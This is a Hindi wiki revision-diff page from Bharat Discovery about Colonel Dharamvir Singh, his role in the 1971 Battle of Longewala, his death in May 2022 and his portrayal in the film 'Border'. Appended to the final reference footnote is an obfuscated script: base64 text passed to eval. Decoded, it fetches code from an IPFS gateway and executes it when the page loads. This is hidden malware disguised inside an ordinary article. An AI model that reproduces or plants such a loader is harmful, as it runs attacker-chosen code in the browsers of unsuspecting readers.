"कर्नल धर्मवीर सिंह" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''कर्नल धर्मवीर''' (अंग्रेज़ी: ''colonel Dharamvir''), जन्म- ?; मृत्य...' के साथ नया पृष्ठ बनाया)
 
पंक्ति 1: पंक्ति 1:
'''कर्नल धर्मवीर''' ([[अंग्रेज़ी]]: ''colonel Dharamvir''), जन्म- ?; मृत्यु- [[16 मई]], [[2022]]) [[भारतीय सेना]] के जांबाज सैनिकों में से एक थे। सन [[1971]] में लोंगेवाला की लड़ाई में [[पाकिस्तान]] पर [[भारत]] की जीत में उन्होंने अहम भूमिका निभाई थी। [[4 दिसंबर]], [[1971]] की रात लोंगेवाला चेकपोस्ट पर ज्यादा जवानों की तैनाती नहीं थी। लेफ्टिनेंट धर्मवीर की अगुआई में वहां पेट्रोलिंग टीम गश्त कर रही थी। इस दौरान उन्होंने पाकिस्तान की तरफ से कुछ हरकतें सुनाई दी। उन्होंने इसकी खबर तुरंत ब्रिगेडियर चांदपुरी को दी। इसके बाद तत्कालीन मेजर कुलदीप सिंह चांदपुरी के नेतृत्व और लेफ्टिनेंट धर्मवीर की अगुआई में छोटी-सी भारतीय टुकड़ी ने पाकिस्तानी फौज को धूल चटा दी।
+
[[चित्र:Colonel-Dharamvir-Singh.jpg|thumb|220px|कर्नल धर्मवीर सिंह]]
 +
'''कर्नल धर्मवीर सिंह''' ([[अंग्रेज़ी]]: ''Colonel Dharamvir Singh''), जन्म- ?; मृत्यु- [[16 मई]], [[2022]]) [[भारतीय सेना]] के जांबाज सैनिकों में से एक थे। सन [[1971]] में लोंगेवाला की लड़ाई में [[पाकिस्तान]] पर [[भारत]] की जीत में उन्होंने अहम भूमिका निभाई थी। [[4 दिसंबर]], [[1971]] की रात लोंगेवाला चेकपोस्ट पर ज्यादा जवानों की तैनाती नहीं थी। लेफ्टिनेंट धर्मवीर की अगुआई में वहां पेट्रोलिंग टीम गश्त कर रही थी। इस दौरान उन्होंने पाकिस्तान की तरफ से कुछ हरकतें सुनाई दी। उन्होंने इसकी खबर तुरंत ब्रिगेडियर चांदपुरी को दी। इसके बाद तत्कालीन मेजर कुलदीप सिंह चांदपुरी के नेतृत्व और लेफ्टिनेंट धर्मवीर की अगुआई में छोटी-सी भारतीय टुकड़ी ने पाकिस्तानी फौज को धूल चटा दी।
 
==शौर्य गाथा==
 
==शौर्य गाथा==
 
कर्नल धर्मवीर (जो उस समय कैप्टन थे) 4 दिसंबर, 1971 को लोंगेवाला में थे, जब उन्हें सीमा पार एक टैंक की आवाजाही का पता चला। उन्होंने ऑपरेटर राजकुमार के माध्यम से मुख्यालय को संदेश भेजा और शुरू में किसी ने उन पर विश्वास नहीं किया, लेकिन उन्होंने उन्हें चलते टैंकों की गड़गड़ाहट की आवाज सुनाई। उनके कमांडर ने तब उन्हें बटालियन मुख्यालय से संपर्क करते हुए पाकिस्तानी टैंकों के एडवांस बख्तरबंद स्तंभ का पता लगाने का आदेश दिया, जिसके बाद रिइंफोर्समेंट, ऑर्मरी और आर्टिलरी की मांग की।<ref name="pp">{{cite web |url=https://hindi.news24online.com/news/india/colonel-dharamvir-singh-hero-battle-longewala-1971-no-more-cf316d77/ |title=नहीं रहें 1971 में लोंगेवाला की लड़ाई के हीरो कर्नल धर्मवीर सिंह|accessmonthday=18 मई|accessyear=2022 |last= |first= |authorlink= |format= |publisher=hindi.news24online.com |language=हिंदी}}</ref>
 
कर्नल धर्मवीर (जो उस समय कैप्टन थे) 4 दिसंबर, 1971 को लोंगेवाला में थे, जब उन्हें सीमा पार एक टैंक की आवाजाही का पता चला। उन्होंने ऑपरेटर राजकुमार के माध्यम से मुख्यालय को संदेश भेजा और शुरू में किसी ने उन पर विश्वास नहीं किया, लेकिन उन्होंने उन्हें चलते टैंकों की गड़गड़ाहट की आवाज सुनाई। उनके कमांडर ने तब उन्हें बटालियन मुख्यालय से संपर्क करते हुए पाकिस्तानी टैंकों के एडवांस बख्तरबंद स्तंभ का पता लगाने का आदेश दिया, जिसके बाद रिइंफोर्समेंट, ऑर्मरी और आर्टिलरी की मांग की।<ref name="pp">{{cite web |url=https://hindi.news24online.com/news/india/colonel-dharamvir-singh-hero-battle-longewala-1971-no-more-cf316d77/ |title=नहीं रहें 1971 में लोंगेवाला की लड़ाई के हीरो कर्नल धर्मवीर सिंह|accessmonthday=18 मई|accessyear=2022 |last= |first= |authorlink= |format= |publisher=hindi.news24online.com |language=हिंदी}}</ref>
 
+
[[चित्र:Colonel-Dharamvir-Singh-1.jpg|thumb|200px|left|कर्नल धर्मवीर सिंह (युवावस्था)]]
 
बटालियन मुख्यालय ने धर्मवीर को रुकने और हमले को जितना संभव हो सके रोकने का विकल्प दिया, या रामगढ़ के लिए वापसी करने का विकल्प दिया, क्योंकि उस रात रिइंफोर्समेंट उपलब्ध नहीं होगा। उन्होंने रहना चुना। एक बार मीडिया से बात करते हुए धर्मवीर सिंह ने कहा था कि सीमा चौकी पर 20 से 22 जवान ही थे, जिन्होंने किसी तरह पाकिस्तानी सेना को पूरी रात अपने कब्जे में रखा और सुबह वायुसेना से हंटर विमानों की मदद ली।
 
बटालियन मुख्यालय ने धर्मवीर को रुकने और हमले को जितना संभव हो सके रोकने का विकल्प दिया, या रामगढ़ के लिए वापसी करने का विकल्प दिया, क्योंकि उस रात रिइंफोर्समेंट उपलब्ध नहीं होगा। उन्होंने रहना चुना। एक बार मीडिया से बात करते हुए धर्मवीर सिंह ने कहा था कि सीमा चौकी पर 20 से 22 जवान ही थे, जिन्होंने किसी तरह पाकिस्तानी सेना को पूरी रात अपने कब्जे में रखा और सुबह वायुसेना से हंटर विमानों की मदद ली।
  

11:53, 18 मई 2022 का अवतरण

कर्नल धर्मवीर सिंह

कर्नल धर्मवीर सिंह (अंग्रेज़ी: Colonel Dharamvir Singh), जन्म- ?; मृत्यु- 16 मई, 2022) भारतीय सेना के जांबाज सैनिकों में से एक थे। सन 1971 में लोंगेवाला की लड़ाई में पाकिस्तान पर भारत की जीत में उन्होंने अहम भूमिका निभाई थी। 4 दिसंबर, 1971 की रात लोंगेवाला चेकपोस्ट पर ज्यादा जवानों की तैनाती नहीं थी। लेफ्टिनेंट धर्मवीर की अगुआई में वहां पेट्रोलिंग टीम गश्त कर रही थी। इस दौरान उन्होंने पाकिस्तान की तरफ से कुछ हरकतें सुनाई दी। उन्होंने इसकी खबर तुरंत ब्रिगेडियर चांदपुरी को दी। इसके बाद तत्कालीन मेजर कुलदीप सिंह चांदपुरी के नेतृत्व और लेफ्टिनेंट धर्मवीर की अगुआई में छोटी-सी भारतीय टुकड़ी ने पाकिस्तानी फौज को धूल चटा दी।

शौर्य गाथा

कर्नल धर्मवीर (जो उस समय कैप्टन थे) 4 दिसंबर, 1971 को लोंगेवाला में थे, जब उन्हें सीमा पार एक टैंक की आवाजाही का पता चला। उन्होंने ऑपरेटर राजकुमार के माध्यम से मुख्यालय को संदेश भेजा और शुरू में किसी ने उन पर विश्वास नहीं किया, लेकिन उन्होंने उन्हें चलते टैंकों की गड़गड़ाहट की आवाज सुनाई। उनके कमांडर ने तब उन्हें बटालियन मुख्यालय से संपर्क करते हुए पाकिस्तानी टैंकों के एडवांस बख्तरबंद स्तंभ का पता लगाने का आदेश दिया, जिसके बाद रिइंफोर्समेंट, ऑर्मरी और आर्टिलरी की मांग की।[1]

कर्नल धर्मवीर सिंह (युवावस्था)

बटालियन मुख्यालय ने धर्मवीर को रुकने और हमले को जितना संभव हो सके रोकने का विकल्प दिया, या रामगढ़ के लिए वापसी करने का विकल्प दिया, क्योंकि उस रात रिइंफोर्समेंट उपलब्ध नहीं होगा। उन्होंने रहना चुना। एक बार मीडिया से बात करते हुए धर्मवीर सिंह ने कहा था कि सीमा चौकी पर 20 से 22 जवान ही थे, जिन्होंने किसी तरह पाकिस्तानी सेना को पूरी रात अपने कब्जे में रखा और सुबह वायुसेना से हंटर विमानों की मदद ली।

अगले दिन दोपहर तक हमला पूरी तरह से समाप्त हो गया, जिसमें पाकिस्तान के 22 टैंक विमान की फायरिंग से नष्ट हो गए, 12 टैंक जमीनी फायरिंग से और कुछ को छोड़े जाने के बाद कब्जा कर लिया गया, पोस्ट के आसपास के रेगिस्तान में कुल 100 वाहनों के नष्ट या क्षतिग्रस्त होने का दावा किया गया। पाकिस्तानी सेना को पीछे हटने के लिए मजबूर होना पड़ा, जब डिवीजन की कैवेलरी रेजिमेंट से भारतीय टैंक, कर्नल बावा गुरुवचन सिंह की कमान वाले 20वें लांसर्स ने 17वीं बटालियन, राजपूताना राइफल्स के साथ अपना जवाबी हमला किया।

मृत्यु

कर्नल धर्मवीर का निधन 16 मई, 2022 को हरियाणा के गुरुग्राम में हुआ। वह काफ़ी समय से बीमार चल रहे थे।

लोंगेवाला का युद्ध भारतीय सेना के साहस, शक्ति और पराक्रम का प्रतीक है। सन 1971 के युद्ध को 50 साल हो गए। अब धीरे-धीरे इस युद्ध के महानायकों का निधन हो रहा है। लोंगेवाला युद्ध के प्रमुख महानायक ब्रिगेडियर कुलदीप सिंह चांदपुरी का 2018 में मोहाली में निधन हो गया था। ब्रिगेडियर चांदपुरी महावीर चक्र से सम्मानित थे।

फिल्म बॉर्डर

सन 1971 के भारत-पाकिस्तान युद्ध पर बॉलीवुड निर्देशक जे.पी. दत्ता ने फिल्म 'बॉर्डर' बनाई थी। फिल्म में अक्षय खन्ना ने कर्नल धर्मवीर सिंह का किरदार निभाया था। एक इंटरव्यू के दौरान कर्नल ने बताया था कि कई लोगों ने उनसे फिल्म के डायरेक्टर के खिलाफ अपील करने को कहा था, क्योंकि फिल्म में उनके किरदार को शहीद दिखाया गया था लेकिन कर्नल ने जवाब दिया, 'मैं फौजी हूं और फौजी ही रहूंगा। फौजी कभी ऐसे काम नहीं करते।'


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. नहीं रहें 1971 में लोंगेवाला की लड़ाई के हीरो कर्नल धर्मवीर सिंह (हिंदी) hindi.news24online.com। अभिगमन तिथि: 18 मई, 2022।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख